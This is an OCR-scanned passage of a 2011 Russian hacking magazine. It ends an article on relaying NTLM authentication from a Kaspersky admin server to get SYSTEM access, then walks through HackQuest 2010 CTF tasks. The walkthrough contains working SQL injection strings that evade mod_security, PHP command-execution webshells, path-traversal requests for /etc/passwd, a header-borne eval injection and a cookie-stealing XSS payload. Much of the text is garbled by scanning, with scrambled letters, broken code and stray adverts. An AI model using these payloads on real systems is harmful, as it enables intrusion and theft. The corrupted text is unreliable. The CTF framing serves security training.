а в а м и . Н а следующее утро я в кл юч ил s m Ь_геlау-модул ь из соста ва Metasploit, натр а в ил е го на с е р в е р У и з сети ком п а н и и и стал ждать. Ч е рез ч етыре часа у м е н я был ш елл на сервере У с учетной з а п и сью NT AUTH O R I TY/5Y5TE M . Ита к, что ж е п ро и зошло? - >

� 064

Исходные дан н ы е :

1. С еть на основе M icrosoft Active D i rectory. 2. Сервер Касперского с Аdmi пistгаtiоп Kit. з. В Аdm i п i stгаtiоп Kit установлена опция « С ка н и рование

I Р-сети » .

Убери галку - спаси сеть!

L1J(8J

С войства : IР -дна пазон ы Общие

1

6 IIР'Дli':'П';ЗОНЫ

� ------------.

Родительская гр�ппа:

o fазреwить опрос IР-диапазонов Период опроса IР-диапазонов

(МИН):

О про,gить сейчас

О

К

11 1

Отмена

Применить

ХАКЕР 03 / 1 46/ 2 0 1 1


D D t+5t D 192.1б8.1.3

192.1б8.1.4

192.1б8.1.5

192.1б8.1.6

1,2,3 - Kaspersky network scan process 3,4,5 - 5МВ RELAY attack

Схема атаки на ресурсы в Wiпdоws-сети с серваком Каспера П о умол ч а н и ю ска н и р о в а н и е происходит раз в с е м ь часов. Так как с е р в а ку надо управл ять всеми та ч ка м и с анти в и рус а м и . то та м везде должна быть учетка. п р и ч е м с п р а в а м и л о кал ьного адм и н а . Ка спер п ытается залезть этой учеткой куда попало. даже на н е и з вестн ы е ко м п ы в сети. н а п р и м е р на наш хост с BackTrack. где з а пущен smb_relay. В этот момент м ы п е р ех ваты в а е м N Т L М -з а п рос и п е р е н а п ра в л я е м на любой с е р в е р и л и рабочку с Кас п е р с к и м [ к р о м е сервера Х. откуда Ка с п е р с ка н ит). Други м и слова м и . мы п ытае м с я в ы п ол н ить аутентиф и ка ц и ю н а серваке У от и м е н и Кас п е р а . У ответит н а м N Т L М - Rеsропsе п а кето м , кото­ р ы й мы п е р едадим с е р в а ку Каспера Х. ОС на Х подумает, что все ОК и п р одолжит аутенти ф и ка ц и ю согл а с н о ответу. М одуль sm b_re lay также будет пересылать п а кеты У от и м е н и Ка с п е р а , что в итоге з а ко н ч ится т е м , что с е р в а к У п роауте нтифици рует н а с п од с е р в и сной д о м е н н о й учеткой , которая и меет п ра в а л о кально­ го адм и н а . Да н н ы х прав достато ч н о , чтобы п р о и н сталлить и за пу­ стить, н а п р и м е р , meterpreter. Та ким образом в ы п ол н е н о п р о н и к­ н о в е н и е и с е р в е р У скомп рометирован [ в с п о м и на я п р едыдущую статью, можно п р и ки нуть, что одного та кого п ро н и кн о в е н и я впол­ не бы в а ет достато ч н о , чтобы захватить весь дом е н ) . Эксплойт работает для л юбой в е р с и и Windows, та к что это достато ч н о простой и у н и версал ьн ы й метод п р о б и в а н и я с е р в а к о в [уч иты вая п о пуля р ность в кор п о рати в н ы х сетях Ка с п е р а ) . Архитектор п росто забыл п ро особ е н н о сть п р отокола N T L M и е го н едостатки . Дал сл и ш ком бол ь ш и е п р а в а пол ьз ователю и везде п ытается проау­ тенти ф и ци ро ваться п од е го и ме н е м . П р остая а р хитектура о п р о ­ са I Р- п одсети + недостаточно надеж н ы й м етод аутентифи ка ц и и [ N T L M ) сделали с в о е дел о . -

WEXLER.BOOK ESOOl

«МЕТРО 2033» ДМИТРИЯ ГЛУХОВСКОГО И ЕЩЁ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER

и что?

СТИЛ ЬН Ы Й ГАДЖ ЕТ

11

в да н н о й статье я хотел обратить в н и м а н и е на то, как важно

уделять в н и ма н и е мелочам и деталям на эта пе построения идеи проекта и его архите ктуры. О ш ибки в л о ги ке очень п росто э кс­ плуатировать и сложно и с п р а влять. Кроме того, если ты обратил в н и м а н и е , то все перечисленные тут о ш и бки были обна ружены руч н ы м анализом с помощью п росте й ше го сетевого сниффера. Есл и поиск о ш и бок в коде хоть как-то можно а втоматизировать, то поиск л о ги ч еских ошибок - нел ьз я , это руч ная работа. П р и это м , к а к б ы л о сказано, на йти их несложно - в н и мательность + з н а н и е о то м , как это работает, всегда поможет понять угрозу. Будь в н и мател ен и тау the force Ье with you . . . ::х:

I!I'-I •

m • "о"

ИГРЫ

,=

-

АЛЮМИНИЕВЫЙ КОРПУС! КОЖАНЫЙ ЧЕХОЛ ЭЛЕКТРОННАЯ БИБЛИОТЕКА

���E 200 тыс.

ф WeXLer. •

ХАКЕР 03 / 1 4 6 / 20 1 1

ЭКРАН S"

IJ а =

.

РАДИО И МР3

;;;: .

О

www.wexler. ru

ЧТЕНИЕ 11 тыс. СТРАНИЦ БЕЗ ПОДЗАРЯДКИ

·M.·B.jJ.iI.§.lili

ТЕЛЕФОН ГОРЯЧЕЙ ЛИНИИ: 8 (800) 200 96 60


• •

Д м и т р и й Е в т е е в . P o s i t i v e Te c h n o lo g i e s I d evteev.bLogsp o t . c o m l С е р г е й Рубл е в . P o s i t i v e Tec h n o t o g i e s I p t re s e a rc h . b L o g s p Т а р а с « o x d e f » И в а ще н ко . Я н д е к с I b L o g . o x d e f . i n f o l

v

v

сАмы и ЛУЧШИИ КВЕСТ!

Рук оводство по прохожде н и ю HackOuest 201 О в данно й пу б лика ц ии описано прохождение б оль ш инства ..

предложенных этапов хак- квеста , которыи проходил в кон ц е августа на ф естивале Chaos Constructions 201 О , а затем в урезанном формате б ыл доступен on[ine на портале SecurityLab . HackQuest 2010

- это открытые соревнова н и я по эащите и нфор­ м а ц и и , сутью которых я вл я ется в ы п ол н е н и е ряда разнообразных зада н и й , связа н н ы х с и нформационной безопас ностью: web­ hacking, social engi neeri ng, reverse engi neeri ng и тому подобное. Участн и кам хак-квеста п редоста влялась полная свобода в ыбора по п рохожде н и ю зада н и й - и х можно было вы полнять в л юбой после­ довательности. Для захвата одного кл юча [флага] необходим о было воспол ьзоваться ч ередой реал ьных уяз в и мостей в самых настоя­ щих [ п родуктивных] системах, так что участн ики кон курса могл и почувствовать себя реал ь н ы м и взломщиками : ! . П ра вда , резул ьтаты соревнова н и й п родемонстрировал и , что для бол ь ш и н ства участ­ н и ков зада н и я HackQuest 2 0 1 О оказали с ь довольно сложны м и . Эта статья п редставляет собой руководство по п рохожде н и ю некоторых из них.

Задание N21: Классика

П осле п редварительного ска н и рова н и я сети обна руживал ся веб­ сайт некого турагентства под назва н и е м «Хаос» . Н е м ного поброди в по этому са йту, в разделе поиска можно было п о выдаваемому базой да н н ы х MySQL сообще н и ю об о ш ибке отыскать уязвимость типа « Внедрен и е операторов SQL» [insert-based ] . Стоит отметить, что сайт б ы л защищен mod_security с правилами по умол ч а н и ю . Уяз в и м ы й SQL-запрос и меет вид:

� 066

$query =

" INSERT INTO indexes

( t ext , source )

( , " . $_GET [ ' text ' ] . " , , " . $_GET [ ' ac t ion ' ] . " ) "

value

;

Та к и м о б р а з о м , з а п рос для п р о в ед е н и я ата ки м ожет в ы гл ядеть та к : h ttp : / / 1 7 2 . 1 6 . 0 . 2 / s earch . php ? a c t ion= O & t ext = 1 ' / * ! % 2 b ( s e l ec t + l + from ( select + c ount ( * ) , concat ( ( s e le c t +user ( ) + f r om+ information_schema . tabl e s + l im i t + O , l ) , Ox 3 a , f l oor ( ra nd ( O ) * 2 ) ) x+ from+ informa t ion_schema . t ables +group+by + x ) а) */ , О ) --+

П р и в еден н ы й в ы ш е з а п рос ото б р а з ит иденти ф и катор пользо­ вател я , от и м е н и кото р о го в е б - п риложе н и е в з а и м од е й ствует с базой да н н ы х . Ка к это работает? 1. И с п ол ьзуется кон струкция /* I . . . s q l - KOA .. */, кото р а я п о з в о ­ л я ет в ы полнять S Q L - KOA в обход п ра в и л а м п о умол ч а н и ю в с е х в е р с и й mod_se c u rity, в кл юч а я послед н и е в е р с и и [ с м . d evteev. Ь logspot . со т/2009/1 O/sql- i niect i о п -waf. htm l] . 2 . И с п ол ьзуется с и м в ол « + » [ % 2 Ь ] д л я ра боты со стр о ка м и [ п од­ р о б н е е см. h ttps:!lrdot .org/forum/s h owt h read .php?t=6 0] . З. И с п ол ьзуется у н и версал ь н ы й способ п р о б роса полезной на груз ки в сообще н и и об о ш и б ке [ с м . qwazar. ruf?p=7] : ХАКЕР 0 3 / 1 46/ 2 0 1 1


• G3

Серое3l1аqУЮIII\f«XТЬ

Внедрение БQl-кода ln.16.0.2/search.php -,

Описание

Зl\OYl1ЫWn�«Н I10ГYT ocywесТ8НТЬ eнeДpeнl1e SQL-КОА�. ВtteAU)et01O SQI.·КOA� - )ТО tnOCоб К!NIА8НИЯ на бюу АФ1НЫХ е обхОА �1К(етееой�tfТЫ. 8 )TOМ�TOA8 мрамеТРЫ. мpeA� К 6.!!31! данных ЧI!pe3 вг6-�, �ТСЯ T� обраюм, чтобы H�b ISЫ1O�НЫЙ SQl')МpOC. H�wteP. Аобевnяя palNNНb/le (11МВ01IbI K�, )tJOYМЫUlletН«ll МQryT 8bW'IOJ1Нt1Tb AOnOfН1TellbНЫti W1POC C�TНO С nep8blt!. Атака может СIIУЖtНЪ АЛА сneДУtOЩttX L1e� j: 1. ГIo1ly'МTb AIXTyn К A4ННbfo1, которые oбt.нio неАОСТ'I'fИ>I. HnН nO�ТЬ Ao!НI1Ы! кoнфwypawО1сttCТertЫ, которые �yт IlCn01lb)QeaHbl AЛR бу дущих ау.,.,;, tianpнr4ep, 113нet1eННb11 � 1iO)I(8Т IIО�ТI1ТЬ xewи ПbPQлеМ nOl1bЮВОТелей, которые enoc:леАСТ8К1 нoryT быть РМWl\фроеаны меТОАОН переборЬ. 2. nOll'fЧl1ТЬ ДOCтyn K КOWlЫOт� ор.-аннJllW1l1 чере, КOМnЫOTep, н<) котором н.)ХОДl1ТСЯ ба:sa донных; дnя )TorO 'ЛОУМЫШ�Н мorYT нtnOlIЫ084Tb процедуры 6a3bl A4I1t1b1X Н �tЯ � ЗGL, ICflTopbIe nOJeOМlOT no1tY'OIТb ДОСТУП к

� CI"Teмe.

Запрос дnя 8btf\OJlHeHMA атак,",

Контакты

Qutry failed: DupБсаtе entry 'wer@Joca!hostl' ror key '�oup_k.ey'

поиск

Query: INSERT INТO indexes (text,Jource) value Cl'l*l+(select 1 &-om(select count(*),coocat« se1ect userO &от information_schema..tabIes Iimit O,l),0x3a.8oor(rand(O)*2»x

поиос no сiЙту

rт;vAМ�

OIC

liom informalion_sc.hema.tables group Ьу х)а)-/,О)-- ',О)

htW:ll!n 16QZlse",фptp?oc ti!!naONe'!(t-ТetSq%2рАnв"/,2Qngирsо'

GEТ /search,php?actlon-o&tехt-Текст%ZOAJtЯ"Io2(hoнcк" НПР/I, 1 Нost: 172.16.0.2 IJser·Agent: МozIe/".O (c�; МSIE 6.0; wndows NT 7.0) РТХ Accept: textjttml. iмQefpno, Irnege/i»eo, WiqeJOf, irмoe/x-xbl:cмp, "1"';q-O, l

Эксплуатация SQL Injection на сайте турагентства «Хаос» . .

ComectIon: dose

Сообщение об ошибке, свидетельствующее об уязвимо­ сти SQL Injection Уязвимость Local File Including lota147 d,w,,",·, , 17 '001 WbeeI 512 А"! 10 16:02 . drwxr·,.,·, 17 ,ootwbed 512 Aug 10 16:02 .. •rw••••••• 2 '001 w .,••,••,.• 1 '001 wbeel 6206 А"! 10 09-.29 СОРYRIGНТ drn",·,.,·x 2 '001 whed 1024 Aug 10 09:18 bin drn",,·,.,·, 7

Классическая эксплуатация уязвимости Remote File Including У�3ВI1МОПЬ Уязвимая

ссы каa 172.16.0.9/ . ./ . ./ . ./ . ./ ../ ../ ../ . ./ . ./ . ./etc/passv/d

--.... . . � .., t2 ш: !... -. � � Доска сообщении

..

Уязвимости из серии « old-school» + l irn i t + O , l ) , Ох3 а , f l ооr ( rапd ( 0 ) * 2 » х + f rоrn+ i пfоrrnа t i оп_

EJ

Краткое описание

s cherna . tabl e s +group+by+x ) a ) * / , O ) - - +

Обнаружена у�3ВИИая ССЫЛlса,

EJ

На выходе - таблица аdmiпs.

Описание Ссылка

h t tр : / / 1 7 2 . 1 6 . 0 . 2 / s еаrсh . рhр ? а с t i оп = 0 & t ехt = 1 ' / * ! % 2 Ь

http·/l!72.16.0.9{. .{. .{. .{. .{../. .{. .{..{. •{..{etc{p"sswd

( sе l е с t + l + frоrn ( sе l е с t +соuпt ( * ) , сопсаt « s е l ес t + с о l u rnn_паrnе + f rоrn+ iп fо rrnаtiоп_sсhеrnа . с о lurnn s +whеrе + t аblе_п

(одержимое

аrnе = ' аdrniпs ' + l irni t + 1 , 1 ) , Ох3 а , f l ооr ( rапd ( 0 ) * 2 »

Обход К�Т�ЛОГ� (GET /../. . /• . /. . /../ . . / .. /../. . /. . /etc/po" wd НТТР/l .0)

х+ f rоrn+ i п fоrrnа t iоп_sсhеrnа . с о lurnn s +grоuр+Ьу+х ) а ) * / , 0 ) ­ -+

Информация

http : / / 1 7 2 . 1 6 . 0 . 2 / searc h . php?ac t i on = 0 & t ex t = 1 ' / * ! %2 b

РеЭУJlьтат работы

rnn_паrnе+ frоrn+ i пfоrrnа t iоп_sсhеrnа . соlurnn s +whеrе+tаblе_п

Решение: ОбнОВИТЬ или насТРОИТЬ nporраммное обеспечение ИЛИ эакрЬrть ДОСТУП к этоН ссыпке,

11 $Freeaso: src/etc!mo,ter.p.sswd,v 1.10.22.1.2.1 2009/10/25 01: 10:29 l<ensmith Ехр $

Уязвимость Path Traversal select 1 user ( »

аrnе= ' аdrniпs ' + l irn i t + 2 , 1 ) , Ох3 а , f l ооr ( rапd ( 0 ) * 2 » х+ f rоrn +iпf оrrnаtiоп_sсhеrnа . со l urnn s +grоuр+Ьу+х ) а ) * / , 0 ) ­ -+

frorn ( se l e c t count ( * ) , concat ( ( select

, Ox3 a , f loor ( rand ( 0 ) * 2 »

( se l ec t + 1 + frorn ( s e l e c t +count ( * ) , concat « s e l ec t +c o lu

А на десерт - и м е н а колонок lоgiп и password в таблице аdmi пs.

x fro rn inforrna t i on_

scherna . tabl es group Ьу х ) а

httр : / / 1 7 2 . 1 6 . 0 . 2 / sеаrсh . рhр ?асt i о п = 0 & t ехt = 1 ' / * ! %2 Ы s е l ес t + l + f rоrn ( s е l ес t +соuпt ( * ) , сопсаt « s е l е с t + сопсаt_ws

4. SQL-зап рос п р и в одится к с и нтаксически корректному виду путем доба вления конструкц и и «.0» >. а все л и ш нее обрезается с

использованием двух с и м волов тире. Чтобы обрезать конец доба в­ ляемого за проса на веб-сервере. испол ьзуется п робел ь н ы й с и мвол «+ » 'В НТТР G ЕТ-зап росе я вл я ется эквивал е нтом п робелу). Развивая вектор ата к и . требовалось стянуть полез ные да н н ы е из базы данных. Для MySQL 5.Х это довольно п росто. та к ка к в этой версии п р исутствует база i пfогmаtiоп_sсhеmа. которая содержит всю необходимую и нформацию о структуре СУБД. Та ким образом. атака с и спользова н и е м уяз в и мости SQL I пjесtiоп сводилась к типовому набору запросо в : http : / / 1 7 2 . 1 6 . 0 . 2 / s earch . php ? ac t io n=0&text = 1 ' / * ! %2 b ( s e l ec t + l + frorn ( s e l e c t +count ( * ) , concat ( ( s e l e c t + t ab l е_паrnе+ f rоrn+ i п fоrrnаtiоп_sсhеrnа . tаbl е s +whеrе+tаblе_ scherna ! = ' i п fоrrnа t i оп_sсhеrnа ' +апd+tаbl е_sсhеrnа ! = ' rnуsql ,

ХАКЕР 03 / 1 46/ 2 0 1 1

( Ох3а , lоg i п , раs swоrd ) + frоrn+аdrniпs + l irni t + 0 , 1 ) , Ox 3 a , f l o оr ( rапd ( 0 ) * 2 ) ) х+ frоrn+аdrniпs+grоuр+Ьу + х ) а ) * / , 0 ) - - +

в результате получаем да н н ы е и з табл ицы аdmiпs I и мя пользовате­ ля и М D5-хеш от парол я ) . П осле получения М D5-хеша е г о требовалось восстановить. Самый п ростой способ - воспол ьзоваться бесплатн ы м и сервиса м и вос­ ста новления М D5-хешей по « радужным табл и ца м » Iнапример, x m d 5. o rg). Став обладателем и м е н и п ользовател я и пароля . самое в р е м я в б и т ь и х в ка ко й - н ибудь и нтерфейс : ! . О б н а ружить та ковой можно в файле ro bots.txt. распол ожен н о м в кор н евом каталоге веб-сер в е р а . После доступа в адм и н ку в ыдается сообще н и е об ош ибке. п о которой ле гко определя ется уяз в и мость кла сса Remot e F i le I п с l u d i п g I R F I ) . Э ксплуата ция подо б н ы х уяз в и м остей я вл яется довольно три в иальной зада ч е й и сводится к указа-

� 06 7


admin Every time уои smlle а! someone, it is ал action of Iove. а gift 10 Ihal person. а beautiful thing. -Molher Teresa

iШm1n When Ihings ае! harder. its esS@ntiaJ 10 keep уоиг head ир алd take IЛе lime 10 Iook аl Ihe beautiful things surrounding уои ?Q1G!)!}.2Q71.1И1WWd>

LFI over Ivar/mail

ш!.miD. Damn,. ItsTruel DamnllsTrue I'm nOl perfect, Ьш I'm your next�

ZP!Q,9ft.2Q !з-4't91уоv.'fb

Ьепег IЛan уои' ех and gonna Ье better thaл

б О obj

« /EF « /F 5 о R »

/Туре /Fi1espec /F

endobj 7

уя,IвиIмы и сервис микроблоггинга к XSS -

ш:о:;;..�pmw6.bII I FiI-e

;;;;- ------11Iu-tume 1I 't.;;Edit

'LJ g

Q" .I.

УО_

ТooIs

IНмh

Audit

Servke

?

ISIIt

Ili l tt> - � - .. - 1 '" -'< 1lI 1 .i! - 1 <, 6j/.1.;;:••

,

Обход ограничений SuEXEC

б О R]

»

»

hr ( 1 0 9 ) I l chr ( 1 1 5 ) I l chr ( 1 1 7 ) I l chr ( 1 1 5 ) I l chr ( 1 0 1 ) I l chr (

1 (j' 1 � 1 Ip� ,"0,#.9.

н и ю ата куемому веб-п р ил оже н и ю з а п рос ить файл с сервера ата кую ще го . Ата кую щ и й же подгота вл и ва ет ф а й л , содержа щ и й код н а я з ы ке Р Н Р. П р и м е р с а м о го п ростого кода, позвол я ю ще го в ы п ол н ять команды о п е р а ц и о н н о й с и сте м ы : < ? p h p passt h r u [$_ R ЕОU ЕSТ[' с ' ] ] ; ? > . П осле получе н ия возможности выпол н е н ия команд ОС требовалось скопи ровать п р и ватны й RSА-ключ одного из пользователей систе­ мы, а затем, испол ьзуя получ е н н ы й RSА-кл юч, реализовать доступ к системе по п ротоколу SSH и получить доступ к дол гожда н н ому флагу. И м е н н о за последовательность SOLi- > R FI-> RSА зада н и е и получи ­ ло кодовое и м я « Классика» .

Задание N22: Не классика

На эта пе исследова н и я сети можно было, а налогично предыду­ щему зада н и ю, наткнуться на некое веб-приложе н и е , связа н ное с S М S-серв иса м и . Бегл ы й анализ позволял обнаружить уязвим ость типа « В н едрен и е операторов SOL» [selection- based] в базе да н ны х PostgreSOL: ht tp : / / 1 7 2 . 1 6 . 0 . 4 / index . php ? r=recovery&name= 1&ema i l = 1 & s t at u s = c a s t ( vers ion ( ) +as+nume r i c )

П р и веде н н ы й в ы ш е запрос выведет версию используемой базы да н н ы х в сообще н и и об ошибке. Это работает, так ка к, во-первых, приложение возвращает сообще н и е об ош и б ке СУБД пользовате­ л ю , а во-вторых, испол ьзуется п р и веден и е строкового типа к чис­ ловому. Испол ьзуя базу i пfогmаtiоп_sсhеmа э кви валентно MySOL 5.х, можно ле гко и быстро восста новить структуру СУБД: http : / / 1 7 2 . 1 6 . 0 . 4 / index . php ? r=recovery&name= 1 &ema i l = 1 & s t at u s = l ; s e l ec t ( s e l e c t + tabl e_name+ from+ informa t i on_ schema . tabl e s + l imi t + 1 +0 f f s e t + O ) : : t ext : : int - ­ http : / / 1 7 2 . 1 6 . 0 . 4 / index . php ? r=recovery&name= 1&ema i l = 1 & s t a t u s = l ; s e l e c t ( s e l ec t+ t ab l e_name + from+in forma t i on_ schema . t able s + l imi t + l + o f f s et + 1 0 5 ) : : text : : in t - -

На выходе - табл и ца vsmsusers. ht tp : / / 1 7 2 . 1 6 . 0 . 4 / index . php ?r=recovery&name = 1 &ema i l = 1 & s tatus= 1 ; s e 1 e ct + ( s e 1 e c t + c o 1umn_name+ f rom+ i nforma t i on_ schema . co1umns+wher e + t ab l e_name=chr ( 1 1 8 ) 1 1 chr ( 1 1 5 ) 1 1 с

� 068

[ (Request . �)

I

Содержимое pdf-файла с flаsh-объектом внутри

w 6) . К-- � t1 noc.-- _ . р� - [UnWedJ

е

obj

(Request . �)

endoh;

.. ....... ,..,01< !мn J:!pмco !м.. � � � fnpМQ

41 -

О

« /Паmes

I

1 1 4 ) I l chr ( 1 1 5 ) + l imit + 1 + 0 f f s et + 1 ) : : text : : in t - -

На выходе - и м е н а колонок log i n и password в табл ице vsmsusers. Следуя п одсказке, что в системе з а р е гистр и р о в а н м ил л и о н н ы й пользо ватель, кото рого ждет сп ециал ь н ое воз н а гражде н и е , требовалось получ ить доступ и м е н н о к е го учетн ой з а п и с и [ и нте­ ресно, что участн и ки ста рател ь н о не з а м ечал и эту подсказку и сл и вали всю табл и цу пол ьзо вател е й и л и п ытал и с ь создать этого « козы р н о го» м ил л и о н н о го пол ьзовател я ] . П олуч и в доступ в и нтерфейс счастл и в ч и ка , можно за метить н о в ы й и нте рфейс, в котором содержится уязви мость типа F i le I nc l u d i n g [ в е р н е е даже Local F i le I nc l u d i ng/LFI ] . Сложность эксплуата ции уяз в и м ости з а кл юч а ется в том, что п р о ­ и сходит п ро в е р ка дл и н ы поступа ю щ е го запроса, и , есл и о н н е равен ш е стнадцати с и мвол а м , т о поступа ю щ и й з а п рос н е п о п а ­ дает в ф у н к ц и ю i n c l u d e [ ] . Реше н и е м этой пробл е м ы я в л я ется использ о в а н и е сам о го короткого Р Н Р веб- ш елла [ с м . razO r. name/ relea ses/m egа- re liz-samyj- k o rotkij-s h ell] . h t tp : / / 1 7 2 . 1 6 . 0 . 4 / index . php ? u =LV 8 9 2 8 4 &p=da ta : , < ? = @ ' $ с ' ?>&c=ls

Как это работает? 1. Испол ьзова н и е stream wrappers [data появился в Р Н Р с версии

5 2 0] ; 2. short_open_tag и register_g lobals в состоя н и и « O N » ; з. < ?= ?> эквивалентно < ? echo ?> ; 4. И спользова н и е обратных ка вычек экви валентно и спользова н и ю shell_exec[]. Получ и в та ким образом возможность выполнения команд на сервере, требовалось получить список пользователей системы 1/ etc/passwd] . П осле ч е го, и спол ьзуя л юбой и н струмента р и й под­ бора па роля к сервису telnet [ н а п р и мер, T H C - H yd ra , Medusa, ncrack], сл едовало осуществить подбор и с пользуем ы х п а рол ей пользователя м и систе м ы . П еребор должен был поз волить в ы я в ить пользователя , у которого уста новлен пароль, совпадающий с его иде нти ф и катором. Доступ по протоколу telnet с п р и вилегиями этого пол ьзователя давал возможность получить содержимое оче­ редн ого флага.

За.Dание N2З: Самописны й bet>-Сер вер

Довольно простую уязвимость можно было отыскать на веб-сервере, который светил своей мордочкой зада н и е с кря кмисом. Это одно из самых п ростых зада н и й хак- квеста, в котором требовалось на йти уязвимость типа « В ыход за корневой каталог веб-сервера» (path ХАКЕ Р 0 3 1 1 46 / 2 0 1 1


5

О

obj

« /Fi.1ter

l

[/F1",teDecode]

I

8Otbod <ч> [publicJ : : Array <q> (private) : :Ob.fusco t.o-« q> (puhlic] : : St.r!ng)

Ip ,,,r ,,,ms « /CheckSum

( \336\071\366\302\064\105\320\167\361\210\121\247\201\

IEmbeddedFi1e ILength 1684

»

streaJn.

Xlf>1.'IШJ'<; � Imi 1IПD1II!DxЪ } UМ1IИI �WXЭХ=цш7"'Д"'КШОш' 1'Ik:f1 ' vllыцilnIп.иуЕE

�IИiI' h/f:.,. IШI3ШiPJ&ооGiDК О ъOПJ* IПiD!iJtmI!Iв€:\'iIiВ. ' ёч :tО1ЕЮЦ- жS zIяwmПе:zl.'l!Шl:cчIШI3CIIНИ(jПJ�'I1��" OПJТJlSОIНтф ' !:1iD> IIПDбчб ' О ыkWrОУх �9< о юmзIlГ��'"

p.r....

О

(

00000) 00001) 00002) 00003) 0000.) 0000$) 00006)

(1

opt.lonal)

r.tack : 5 10061 . : 4 .00ро : 8- 8 .fl.g8 : )

+ + + + + + +

О : О got.local rl 1 : 0 gotp-roperty 1: О CJotlocal_O 2 : 0 getproporty 2: О getproperty 2 : 0 pU8hbyte � 3 : О .ubt.raot. i

.lo t : 9

<q)(pub110) : : length <q> (private1 : : key <q> (publ.io1 : : length

Функция формирования запроса к веб-приложению "The conscience of а H8cker" Ьу The Mentor . Iceweasel

Позитивный pdf в разрезе

Hi!tory �OOI<markS !OOIS !ielp

traversa l). Указанную уяз в и мость легко можно было обна ружить а втоматизиров а н н ы м путем с испол ьзованием соответствующих и нструментов [поэтому очень настораживают конечные результаты опliпе-соревнова н и й secu rityla b. ru/hg20 1 O/list.ghg) . Э ксплуата ция уяз в имости требовала л и ш ь отправить веб-серверу зап рос следую­ щего вида: « G ET /../. ./../root/.history НТТР/l . l ». П олучи в содержимое истории вводи мых адм и н и стратором команд, с помощью консоль­ ной магии можно было легко п олучить очередной флаг.

Задание NQ4: Доска объявлени й

В и гр о в о й сети р а с п ол а галось в е б - п р ил оже н и е , котор о е э му­ л и р овало работу эле ктро н н о й доски объя вл е н и й . П олуч и в доступ к и сход н о му коду п р ил оже н и я [для этого требовал о с ь об ратиться к i nd e x . ba k) можно было восста н о в ить всю л о г и ку работы п р иложе н и я , кото р а я з а кл юч а л а с ь в сл едую щем : е с л и п ол ьз о ватель п ытал ся доба в ить более одного сообще н и я в тече н и е одн о й м и нуты, то е го I P-аАрес доба влялся в ч е р н ы й с п и с о к [файл blacklist . p h p ) . Уяз в и м ость з а кл ю ч а л а с ь в то м , что п р ил оже н и е п р о в е р я л о п е ре м е нную о к руже н и я в е б - с е р в е р а Н Т Т Р_X_FORWA R D E D_FO R , и , есл и указа н н а я п е р е м е н н а я б ы л а уста н о в л е н а , то в м есто I P-аАреса в ч е р н ы й с п и со к п о падало содержимое з а гол о в ка браузера X-Forwa rded - For без како й ­ л и б о п ро в е р к и [ н а с а м о м д е л е идея б а г и б ы л а п оза и м ст в о в а н а у п р иложе н и я C u t e N ews). Э ксплуата ц и я уяз в и мости сводилась к уста н о вке в ка честве за гол о в ка X-Fo rwa rd e d - Fo r ч е го-то в роде это го : ' ; ? > < ?eva l!$_ G ЕТ [ ' с m d ' ) ) ; ? > < ?$а='. П осле получ е н и я воз м ожности в ы п ол н е н и я команд на сервере и п рочте н и я исто р и и ко м а нд, в в оди м ы х адм и ­ н и стратором, можно было п онять, где с п рята н за ветн ы й кл ю ч .

Задание NQS: Cross-Site Scripting

Когда р е ч ь за ходит п р о ата ки в ида XSS [ п р ед п о л а гается , что ты п о н и м а е ш ь , что эти три буквы з н а ч ат : ) ) , то все с разу в с п о м и ­ н а ют п р о о б ы ч н ы е отраже н н ы е и х ра н и м ы е X S S , и л и ш ь и н о ­ гда - еще и п р о та к н а з ы в а е м ы е D O M -based X S S ! с м . owasg. o rg/i n d ex.ghg/D O M B a sed XSS ) . А ведь п оследн и е и з в естны ка к м и н и мум с 2005 года , ко гда б ы л и о п и с а н ы в из вестной ста­ тье Ам ита Кл е й н а ! с м . we baggsec.o rg/grojects/a rt i c les/0 7 1 1 0 5 . sh t m l) . Есл и коротко, то да н н ы й т и п XSS б а з и руется на то м , что вход н ы е да н н ы е в е б - п р ил оже н и я п р и н и м а ются и испол ьзуются для м о д и ф и к а ц и и D О М на сто р о н е в е б -браузера в контексте Jаvа S с г i р t - я з ы к а . С а м НТТР-ответ с е р в е ра та к и м образом н и ка к не и з м е н я ется l Кл а с с и ч е с к и й п р и м е р д а н н о й уя з в и м ости :

S e l e c t your language : < s e l ec t > < s c r i p t > document , wr i t e ( " <OPTION value= l > " +document , locat ion , hr e f , subs t r i ng ( document . l o c a t i on , hre f , indexOf ( " de f au l t = " ) + 8 ) + " < / OPTION> " ) ; document , wr i t e ( " <OPTION value=2 >Engl i sh< / OPTION> " ) ; < / s c r ipt>< / se l e c t >

Э ксплуата ция п редста вляет собой передачу JаvаSсгiрt-на грузки в параметре defa u lt следующим образом: ХАКЕР 0 3 / 1 46/ 2 0 1 1

Манифест хакера, содержащий скрытый ключ http : / /www , some , s i t e / page , html#de faul t = < s cript >a l ert ( document , cook i e ) < / script>

Всё было б ы з а м еч ател ь н о , н о с о в р е м е н н ы е в е б -брауз е р ы р е ш и л и о б е з о п а с ить п ол ьз овател е й и п а ра метры адреса п е р е ­ да ются в J аvаSсгi р t - ко нте кст в u г l - з а коди рова н н о м в и д е , доба вляя п р обл е м ата кующему и д е л а я э ксплуата ц и ю н е та кой т р и в и а л ь н о й . К сожал е н и ю , та кая з а щ ита н е я вл яется доста ­ точ н ы м с редство м , п о с кол ь ку в а р и а нтов и с пол ь з о в а н и я п а р а ­ м етров а д р е с а довол ьно м н о го , и о н и в о в се н е огра н и ч и ва ются п р и веде н н ы м в ы ш е п р и м е р о м . А с р а з в и т и е м в е б - п р иложе н и й [ пе р е носом в с ё бол ьш е й ч а сти л о г и к и работы на сторону в е б ­ брауз е р а ) этот в и д C ro ss - S i te Scri p t i n g ждет п ер е р ожде н и е . Н о в е р н е м ся к н а ш ему зада н и ю . О н о б ы л о в о п л о щ е н о в виде о ч е ­ редн о го кл о н а п о пул я р н о го с е р в и са м и кробл о гги н га . Откр ы в а е м и изуча е м H T M L - KOA гла в н о й стра н и ц ы . В самом конце з а м е ч а е м уя з в и м ы й участо к кода с ч ётч и ка посещен и й :

< / div> <script> document , wr i t e ( unescape ( ' % 3 C img%2 0 s r c % 3 D % 2 2 / img/ s t a t , png ? s i t e = ' +document . l ocat i on , hre f + ' %2 2 % 3 E ' ) ) ; < / script> < / div> < /body> < /html >

